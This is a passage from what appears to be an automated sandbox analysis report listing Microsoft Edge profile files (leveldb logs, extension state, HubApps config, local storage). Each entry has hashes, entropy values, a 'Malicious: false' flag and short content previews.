Preview:	...m.................DB_VERSION.1IN^.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376583816271970..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.138826998582561
Encrypted:	false
SSDEEP:	6:HEtMK1N723oH+Tcwtk2WwnvB2KLlVEtM9M+q2PN723oH+Tcwtk2WwnvIFUv:ktM6aYebkxwnvFL8tM9M+vVaYebkxwnp
MD5:	608F2E37C16AB4BDAE1AFEAE194A2292
SHA1:	13E6C74A4CA842433FDAC2D8CD786DD37147F98F
SHA-256:	C7B8A456521B952B39C14ED9526E76BA9449A5EA59EE8E17D7DE1BB52ED877CF
SHA-512:	92210B2AC8530BCE3A399A47E5F107C4FE00C0807A074D04543BB016E1F649C6D360A4364111860CF64AA159E277A3BEF14A9990C620028DF0614775DDAA1957
Malicious:	false
Preview:	2024/11/20-08:43:33.380 16fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/20-08:43:33.623 16fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612650403883
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ro:C1gAg1zfvg
MD5:	C8E9A3E00FC9B71BCE4F8ED2261CA378
SHA1:	0AA12A7BAF4140FE920BDD052FCD19D9462AD8E7
SHA-256:	45A706339C7DB1B32F0CE9EE26DFAB8B1214D9B32BBA1A97C3BF357B0CD6DC85
SHA-512:	B97F39A39BFCC484D6157FF13D62FF2FFF56F16808CA64124043D24A1187010A43E68B35AE5647A050A35C499B017066F945CDCDC0FBD1BBA08B30D362A40243
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148567789501385
Encrypted:	false
SSDEEP:	6:HEVUrM+q2PN723oH+Tcwt8aPrqIFUt8YEVUIZmw+YEVUrMVkwON723oH+Tcwt8a4:kKM+vVaYebL3FUt8/3/+/KMV5OaYebQJ
MD5:	8575C1CAE707E6D1853237D696B0671E
SHA1:	4EAA254F416EFFEF50414D2E0C681C96E92F0159
SHA-256:	5D428D7A54EF4E73BDB63FBC7A212242A5B2CF8F231239434538ACE2E4120AFA
SHA-512:	FB7B94EB6048111AC0724428CE8A078B4DD3CDE8AFB77B2757E11A9F360DF1BBEE5E94114CDE1B82A430D928895C73AF5C15D615BFEB35F0EF333BFC9AD9F12F
Malicious:	false
Preview:	2024/11/20-08:43:27.521 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-08:43:27.521 14fc Recovering log #3.2024/11/20-08:43:27.521 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148567789501385
Encrypted:	false
SSDEEP:	6:HEVUrM+q2PN723oH+Tcwt8aPrqIFUt8YEVUIZmw+YEVUrMVkwON723oH+Tcwt8a4:kKM+vVaYebL3FUt8/3/+/KMV5OaYebQJ
MD5:	8575C1CAE707E6D1853237D696B0671E
SHA1:	4EAA254F416EFFEF50414D2E0C681C96E92F0159
SHA-256:	5D428D7A54EF4E73BDB63FBC7A212242A5B2CF8F231239434538ACE2E4120AFA
SHA-512:	FB7B94EB6048111AC0724428CE8A078B4DD3CDE8AFB77B2757E11A9F360DF1BBEE5E94114CDE1B82A430D928895C73AF5C15D615BFEB35F0EF333BFC9AD9F12F
Malicious:	false
Preview:	2024/11/20-08:43:27.521 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/20-08:43:27.521 14fc Recovering log #3.2024/11/20-08:43:27.521 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1599479480561765
Encrypted:	false
SSDEEP:	6:HEvIaqM+q2PN723oH+Tcwt865IFUt8YEQZZmw+YEQMMVkwON723oH+Tcwt86+ULJ:kv5qM+vVaYeb/WFUt8/8/+/3MV5OaYev
MD5:	67EB5DA6D963453209972457AFD4AE3B
SHA1:	E896CB80605709B297556F6BCF802EF66D097C5D
SHA-256:	86C0517265C79133D0A1B2834E7188AE1525263FA9FE24380495A43D9573EC5E
SHA-512:	5CEC3906624C7F1D8320DAE4209651CCEE3E827227323DA81BE3B350B33ACA75ACCA8C8BCFE27477EEAE1FE81A5FF6C4C35D67D58181DF84FEBCF84D4B93BD97
Malicious:	false
Preview:	2024/11/20-08:43:27.523 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-08:43:27.524 14fc Recovering log #3.2024/11/20-08:43:27.524 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1599479480561765
Encrypted:	false
SSDEEP:	6:HEvIaqM+q2PN723oH+Tcwt865IFUt8YEQZZmw+YEQMMVkwON723oH+Tcwt86+ULJ:kv5qM+vVaYeb/WFUt8/8/+/3MV5OaYev
MD5:	67EB5DA6D963453209972457AFD4AE3B
SHA1:	E896CB80605709B297556F6BCF802EF66D097C5D
SHA-256:	86C0517265C79133D0A1B2834E7188AE1525263FA9FE24380495A43D9573EC5E
SHA-512:	5CEC3906624C7F1D8320DAE4209651CCEE3E827227323DA81BE3B350B33ACA75ACCA8C8BCFE27477EEAE1FE81A5FF6C4C35D67D58181DF84FEBCF84D4B93BD97
Malicious:	false
Preview:	2024/11/20-08:43:27.523 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/20-08:43:27.524 14fc Recovering log #3.2024/11/20-08:43:27.524 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.127356695073596
Encrypted:	false
SSDEEP:	6:HE8F+q2PN723oH+Tcwt8NIFUt8YE8kZmw+YE8EVkwON723oH+Tcwt8+eLJ:k8QvVaYebpFUt8/8k/+/8E5OaYebqJ
MD5:	BD62BBF7BB62DDDF5EA9F32EA4F6009C
SHA1:	1DA3295DD35DCD547127E7078B95503FA7435B35
SHA-256:	411CCFF321943B888F2E48EA7250C5139C9427394D3A694E173AF9C8AD3539F0
SHA-512:	018816D4D957ED83156F8EC59F55559AB3D72DDA445FE639AC31CD86C953EE2CBF8C890FB7FDEF5C8BC00AFCFC480128C1D5224BC4F32B3F42F500D11A12F1F5
Malicious:	false
Preview:	2024/11/20-08:43:28.454 528 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-08:43:28.455 528 Recovering log #3.2024/11/20-08:43:28.455 528 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.127356695073596
Encrypted:	false
SSDEEP:	6:HE8F+q2PN723oH+Tcwt8NIFUt8YE8kZmw+YE8EVkwON723oH+Tcwt8+eLJ:k8QvVaYebpFUt8/8k/+/8E5OaYebqJ
MD5:	BD62BBF7BB62DDDF5EA9F32EA4F6009C
SHA1:	1DA3295DD35DCD547127E7078B95503FA7435B35
SHA-256:	411CCFF321943B888F2E48EA7250C5139C9427394D3A694E173AF9C8AD3539F0
SHA-512:	018816D4D957ED83156F8EC59F55559AB3D72DDA445FE639AC31CD86C953EE2CBF8C890FB7FDEF5C8BC00AFCFC480128C1D5224BC4F32B3F42F500D11A12F1F5
Malicious:	false
Preview:	2024/11/20-08:43:28.454 528 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/20-08:43:28.455 528 Recovering log #3.2024/11/20-08:43:28.455 528 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:It/jtFlljq7A/mhWJFuQ3yy7IOWUYXl4dweytllrE9SFcTp4AGbNCV9RUI/:Ia75fO+Xud0Xi99pEYB
MD5:	3E8584AA6C8A271BEE8E6B19D49BEAAD
SHA1:	A630940C9B2C260C22FE983231CF8054B418AEFE
SHA-256:	BD695441F799DD157FAE853DCA47F9C4110C3F14CF4EAF6C067826B82869A13D
SHA-512:	FE6ADF7770A007A45367542CF6C7222E339ACE4023096E07F8F633BC16841358D5FDABF088296153F3242E302CE962B0D479DAB6952CDCF2F916FCBB3FE1721C
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648144118626523
Encrypted:	false
SSDEEP:	384:aj9P0wjlGQkQerJgam6IXP/KbtwcQhj773pLLRKToaAu:ad9lGe2MnP/+QF7NRKcC
MD5:	09AC511D92E0D7A1DAEA80A55989B5E5
SHA1:	D32A4BE4F2EDD193D65650035E2FFFBB7AD70108
SHA-256:	2256697EB704B6D83C05FE2FC75F0DDCB3F319F09EB660F3E177140F1C910DB4
SHA-512:	2C003D70478ADF8B0DC13249A5D925E8A2F18B9C7C1600508CA3EC3EA246BA3920EA71D81B880207ACBD8E63619ABE9AD68C31CA4FC32ED34E655CB13304969F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.275070967640417
Encrypted:	false
SSDEEP:	12:kt56M+vVaYeb8rcHEZrELFUt8/tJm/+/tJpMV5OaYeb8rcHEZrEZSJ:kt5cVaYeb8nZrExg8/tVtuOaYeb8nZrt
MD5:	9299CD2F1D198BCBC4AFA1B30D37E550
SHA1:	B5E5B7FA3408AFA96843DFB5D314BCBF6887939D
SHA-256:	6F5C49BF4CA8DC410F1C1E0D18BD448090D8643E21957818908D1A0D390FEF72
SHA-512:	4A895EE8ACDCDD15C2B7494B481686BE787BC4C34A3E8639DD3C94E1FCC8FCFF4364B860055F073F988ADE2EF26554A91A448D094136F916A8343194FE5E876B
Malicious:	false
Preview:	2024/11/20-08:43:31.775 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-08:43:31.776 14fc Recovering log #3.2024/11/20-08:43:31.776 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.275070967640417
Encrypted:	false
SSDEEP:	12:kt56M+vVaYeb8rcHEZrELFUt8/tJm/+/tJpMV5OaYeb8rcHEZrEZSJ:kt5cVaYeb8nZrExg8/tVtuOaYeb8nZrt
MD5:	9299CD2F1D198BCBC4AFA1B30D37E550
SHA1:	B5E5B7FA3408AFA96843DFB5D314BCBF6887939D
SHA-256:	6F5C49BF4CA8DC410F1C1E0D18BD448090D8643E21957818908D1A0D390FEF72
SHA-512:	4A895EE8ACDCDD15C2B7494B481686BE787BC4C34A3E8639DD3C94E1FCC8FCFF4364B860055F073F988ADE2EF26554A91A448D094136F916A8343194FE5E876B
Malicious:	false
Preview:	2024/11/20-08:43:31.775 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-08:43:31.776 14fc Recovering log #3.2024/11/20-08:43:31.776 14fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.670555514879219
Encrypted:	false
SSDEEP:	24:I0ZWe/lE5vwvXp/Fr5hXZGxWRV03y1x4UMyh6WjUlH8WZkTN5zgFHHmi28/V:1ZVdEVwv5/xXZGIRV03Sx4HyU6JWS+HH
MD5:	3B1BA3755B9E7831CF9D75D8B105C1F9
SHA1:	A606E37D987BFD4BE34E10D46DF0A531B40ABBC8
SHA-256:	3BF31EF6E06FA02D0BF24B4FAE6FBAAD38ED46D6C6ADFB32E3B3F208172E84CD
SHA-512:	C8FC62431D3DC7F29BC84A0E5E47B69FBB2860D2809488F3DE054D321E4F7C3BE59F616FAF4F88963AA8E3B7A14847276B3307A8F5CAE20A1FF7090C39BBD963
Malicious:	false
Preview:	,..&.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732110223633.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732110224819.._https://ntp.msn.com..MUID!.0CB77821E0D96F30089A6D1CE1DE6E70.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732110223742,"schedule":[-1,-1,-1,18,31,-1,34],"scheduleFixed":[-1,-1,-1,18,31,-1,34],"simpleSchedule":[37,39,40,41,22,42,20]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732110223574.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 20 2024 08:43:43 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.161639562875967
Encrypted:	false
SSDEEP:	6:HEVURMq2PN723oH+Tcwt8a2jMGIFUt8YEVlZZmw+YEVasRFkwON723oH+Tcwt8as:k+RMvVaYeb8EFUt8/9/+/wsP5OaYeb8N
MD5:	E52C5A044B7822B224968180F11D0A82
SHA1:	DC4192A5388EB83CFB3F15FC1D2754DC6A3C9E6B
SHA-256:	B3CC5D2E383FE7AF2A939AF0FB460943DE86F4F268D7DB026636F26C5F2E92BC
SHA-512:	920BF86E942BC9D6256F3467A440D09BD5F94C72D7BFA1D3C85FC48826E807F0D444988A0AE545E07DA35248CFA8129F5F9879D8EC18C26CC250BF15A44E28DF
Malicious:	false
Preview:	2024/11/20-08:43:27.821 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-08:43:27.822 1984 Recovering log #3.2024/11/20-08:43:27.826 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.161639562875967
Encrypted:	false
SSDEEP:	6:HEVURMq2PN723oH+Tcwt8a2jMGIFUt8YEVlZZmw+YEVasRFkwON723oH+Tcwt8as:k+RMvVaYeb8EFUt8/9/+/wsP5OaYeb8N
MD5:	E52C5A044B7822B224968180F11D0A82
